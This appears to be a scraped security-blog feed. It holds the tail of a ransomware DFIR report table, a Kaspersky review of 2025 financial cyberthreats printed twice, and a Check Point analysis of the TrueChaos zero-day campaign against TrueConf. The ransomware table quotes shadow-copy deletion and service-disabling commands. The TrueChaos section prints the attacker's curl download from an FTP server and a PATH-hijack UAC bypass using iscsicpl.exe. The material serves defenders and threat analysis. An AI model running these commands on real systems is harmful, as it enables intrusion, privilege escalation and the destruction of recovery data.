ImpactInhibit System Recovery (T1490)Shadow copies removed via vssadmin delete shadows /all /quiet and wmic shadowcopy delete$Recycle.Bin removed; logs and prefetch deleted; optional --wipe mode overwrites free space with wipefile.tmp.
ImpactService Stop (T1489)Services (including firewall mpssvc and likely AV/backup) stopped and disabled via sc stop <service> and sc config <service> start=disabled.
ImpactDefacement: Internal Defacement (T1491.001)Desktop background changed to embedded gentlemen.bmp written to %TEMP% and applied via SystemParametersInfoW, signaling compromise to victims.

The post DFIR Report – The Gentlemen & SystemBC: A Sneak Peek Behind the Proxy appeared first on Check Point Research.

Financial cyberthreats in 2025 and the outlook for 2026

8 April 2026 at 11:00

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

  • financial phishing,
  • banking malware,
  • infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

An example of a post offering a database

An example of a post offering a database

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Examples of a post (top) and a site (bottom) offering payment cards

Examples of a post (top) and a site (bottom) offering payment cards

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Examples of a post (top) and a site (bottom) offering bank accounts

Examples of a post (top) and a site (bottom) offering bank accounts

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

An example of a message offering compiled databases

An example of a message offering compiled databases

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Examples of posts offering creation of phishing websites

Examples of posts offering creation of phishing websites

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

Financial cyberthreats in 2025 and the outlook for 2026

8 April 2026 at 11:00

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

  • financial phishing,
  • banking malware,
  • infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

An example of a post offering a database

An example of a post offering a database

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Examples of a post (top) and a site (bottom) offering payment cards

Examples of a post (top) and a site (bottom) offering payment cards

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Examples of a post (top) and a site (bottom) offering bank accounts

Examples of a post (top) and a site (bottom) offering bank accounts

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

An example of a message offering compiled databases

An example of a message offering compiled databases

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Examples of posts offering creation of phishing websites

Examples of posts offering creation of phishing websites

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets

31 March 2026 at 15:16

Key Points

  • Check Point Research identified a zero-day vulnerability in the TrueConf client application, tracked as CVE-2026-3502, with a CVSS score of 7.8. The flaw stems from the abuse of TrueConf’s updater validation mechanism, allowing an attacker who controls the on-premises TrueConf server to distribute and execute arbitrary files across all connected endpoints.
  • This vulnerability has been exploited in-the-wild as part of a targeted campaign we call “TrueChaos” against government entities in Southeast Asia, where the threat actor abused the TrueConf update mechanism to deploy the Havoc payload to vulnerable machines.
  • Based on the observed TTPs, command and control infrastructure and victimology, we assess with moderate confidence that this activity is associated with a Chinese-nexus threat actor.
  • Check Point Research responsibly disclosed this vulnerability to TrueConf. Following our notification, the vendor developed a fix, which is included in the TrueConf Windows client starting with version 8.5.3, which was released in March 2026. The current version of the desktop apps is 8.5.2.

Introduction

At the beginning of 2026, Check Point Research observed a series of targeted attacks against government entities in Southeast Asia carried out via a legitimate TrueConf software installed in the targets’ environment. The investigation led to the discovery of a zero-day vulnerability in the TrueConf client, tracked as CVE-2026-3502 with a CVSS score of 7.8. The flaw affects the application’s updater validation mechanism and allows an attacker controlling an on-premises TrueConf server to distribute and execute arbitrary files across connected endpoints.

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments and is used across multiple regions, most prominently in Russia, as well as in East Asia, Europe, and the Americas. Serving more than 100,000 organisations globally, their global customers range from key governments and defense departments and critical infrastructure industries to significant businesses such as banks, power and TV stations. In enterprise environments, its on-premises architecture creates a trusted relationship between the central server and connected clients, especially through the platform’s update mechanism.

Basically, TrueConf acts as an on-premises video conferencing solution that operates entirely within a private local network (LAN) without requiring an internet connection. It is primarily used by government, military, and critical infrastructure sectors to ensure absolute data privacy and communication autonomy in secure or remote environments. In locations with poor or no internet connectivity, or during natural disasters when traditional networks are down, it facilitates essential coordination. By hosting the server on internal hardware, all audio, video, and chat traffic remains strictly contained on-site, with offline activation available for fully air-gapped systems.

In this particular case, that trust was abused to deliver malware due to improper validation in the update process. In the observed in-the-wild activity, operation “TrueChaos”, the threat actor used the trusted update channel of a centrally managed on-premises TrueConf server to distribute malicious updates to multiple connected government agencies in a South Eastern country.

The victimology and regional focus of the campaign suggest an espionage-motivated operation. In combination with the observed TTPs and command-and-control infrastructure, these indicators point with moderate confidence to a Chinese-nexus threat actor.

About TrueConf

TrueConf is a video conferencing platform that supports both on-premises and cloud deployments. Although it is most widely used in Russia, it also has a notable presence across parts of East Asia, Europe, and the Americas. To better understand the potential scope of the vulnerability, we reviewed internet exposed TrueConf servers to assess the platform’s geographic distribution and the possible reach of the attack. This view is necessarily incomplete, as many TrueConf deployments may operate entirely in on-premises environments and remain inaccessible from the public internet.

Figure 1 – Geographic Distribution of Internet-Exposed TrueConf Servers

CVE-2026-3502 Root Cause Analysis

When the TrueConf client starts, it checks the connected on-premises server for available updates. If the server has a newer client version than the one installed, the application prompts the user to download the update from https://{trueconf_server}/downlods/trueconf_client.exe, which maps to the file stored on the server under C:\Program Files\TrueConf Server\ClientInstFiles\.

Figure 2 – TrueConf Application Update Prompt

TrueConf client update starts when the client detects a version mismatch in favor of the TrueConf on-premises server, the client alerts the user that a newer version is available and offers to download it.

Figure 3 – Updating TrueConf Client Without Reinstalling The Server https://trueconf.com/docs/server/en/admin/info/

The vulnerability stems from the lack of integrity and authenticity checks in this update flow. An attacker who gains control of the on-premises TrueConf server can replace the expected update package with an arbitrary executable, presented as the current application version, and distribute it to all connected clients. Because the client trusts the server-provided update without proper validation, the malicious file can be delivered and executed under the guise of a legitimate TrueConf update.

Figure 4 – TrueConf Client’s Settings Page https://trueconf.com/docs/server/en/admin/info/

In-The-Wild Exploitation

The infections began when TrueConf client application launched, probably by a link sent to the target from the attacker. This link launched the already installed TrueConf client and presented an update prompt claiming that a newer version was available.

Prior to the victim’s interaction, the attacker had already replaced the update package on the TrueConf on-premises server with a weaponized version, ensuring that the client retrieved a malicious file through the normal update process.

The compromised TrueConf on-premises server was operated by the governmental IT department and served as a video conferencing platform for dozens of government entities across the country, which were all supplied with the same malicious update.

Analysis of the downloaded package showed that it was a weaponized client update. The installation was built by Inno Setup. It would successfully upgrade the client version from 8.5.1 to the current at the time 8.5.2. Alongside the legitimate TrueConf installation components, the package dropped a benign poweriso.exe executable and a malicious 7z-x64.dll file to the path c:\programdata\poweriso\, which was then loaded through DLL side-loading.

Figure 5 – Malicious Client Update Attack Chain

Using the malicious 7z-x64.dll implant, the attacker performed a series of hands-on-keyboard actions focused on reconnaissance, environment preparation, persistence, and the retrieval of additional payloads.

Figure 6 - Attacker Hands-on-Keyboard Activity
Figure 6 – Attacker Hands-on-Keyboard Activity
  • Initial reconnaissance included commands such as:
    • tasklist > cache
    • tracert 8.8.8.8 -h 5
  • Downloaded from the FTP server an additional loader isciexe.dll, and extract it to the %temp% directory:
    • curl -u ftpuser:<redacted> ftp://47.237.15[.]197/update.7z -o c:\program files\winrar\winrar.exe x update.7z -p <redacted>
  • The attacker then modified the current user’s PATH variable, in order to preform UAC bypass by using the Microsoft iSCSI Initiator Control Panel tool:
    • reg add "hkcu\environment" /v path /t REG_SZ /d "C:\users\<redacted>\appdata\local\temp" /f c:\windows\system32\cmd.exe c:\windows\syswow64\iscsicpl.exe

iscsicpl.exe is a legitimate Windows binary that can be abused for UAC bypass because its 32-bit SysWOW64 version is auto-elevated and is vulnerable to DLL search-order hijacking for iscsiexe.dll. By placing a malicious iscsiexe.dll in a user-controlled location referenced through the user’s %PATH%, an attacker can cause Windows to resolve and load that DLL in the context of the elevated iscsicpl.exe, resulting in privilege escalation without a UAC prompt.

The downloaded update.7z archive contained a legitimate 7z.exe binary alongside iscsiexe.dll, a component used by the attackers as part of the post-compromise workflow. Check Point Research also identified additional variants of the archive that included an encrypted 7z archive named rom.dat. At the time of analysis, the contents and purpose of rom.dat remained unclear.

The iscsiexe.dll component appears to be a simple, custom persistence and privilege escalation tool. Rather than serving as a full-featured backdoor, its role was limited to maintaining execution of winexec.exe, which is the renamed poweriso.exe binary dropped earlier in the infection chain.

Figure 7 - Pseudo-Code of iscsiexe.dll
Figure 7 – Pseudo-Code of iscsiexe.dll

Although Check Point Research did not recover the exact final-stage payload associated with the malicious 7z-x64.dll activity, it observed network communication to 47.237.15[.]197, an attacker-controlled server running Havoc C2 infrastructure, and also identified Havoc demon sample linked to actor C2 infrastructure. Based on this combined evidence, Check Point Research assesses with high confidence that the missing payload was a Havoc implant.

Havoc is an open-source post-exploitation framework intended for penetration testing and adversary emulation, but it has also been repeatedly abused by threat actors in real-world intrusions, including Chinese-nexus Amaranth Dragon activity recently documented by Check Point Research.

Attribution

Check Point Research assesses with moderate confidence that operation TrueChaos is associated with a Chinese-nexus threat actor. The assessment is based on a combination of factors, including TTPs consistent with Chinese-nexus operations such as DLL sideloading, the use of Alibaba Cloud and Tencent hosting for command-and-control infrastructure and the victimology aligns with Chinese nexus strategic interests.

We also observed that the same victim was targeted within the same time frame by ShadowPad malware framework. This may indicate overlap in operator tooling, shared access, or the presence of multiple China-aligned actors targeting the same organization in parallel.

Conclusion

The exploitation of CVE-2026-3502 did not require the attacker to compromise each endpoint individually. Instead, the attacker abused the trusted relationship between a central on-premises TrueConf server and its clients. By replacing a legitimate update with a malicious one, they turned the product’s normal update flow into a malware distribution channel across multiple connected government networks.

From a research perspective, this case shows how monitoring and analysing routine execution techniques can uncover far more significant threats. What initially appeared to be a signed binary used for DLL sideloading ultimately led to the discovery of a zero-day vulnerability in TrueConf’s update validation mechanism.

Hunting Recommendations

In order to identify whether you have been compromised, review the following indicators and hunting opportunities across the affected system: 

  • Check whether trueconf_windows_update.exe is unsigned, as an unsigned update executable may indicate that the file is suspicious or has been tampered with.
  • Treat the system as potentially infected if C:\ProgramData\PowerISO\poweriso.exe is present on disk, especially if this file is not expected in your environment.
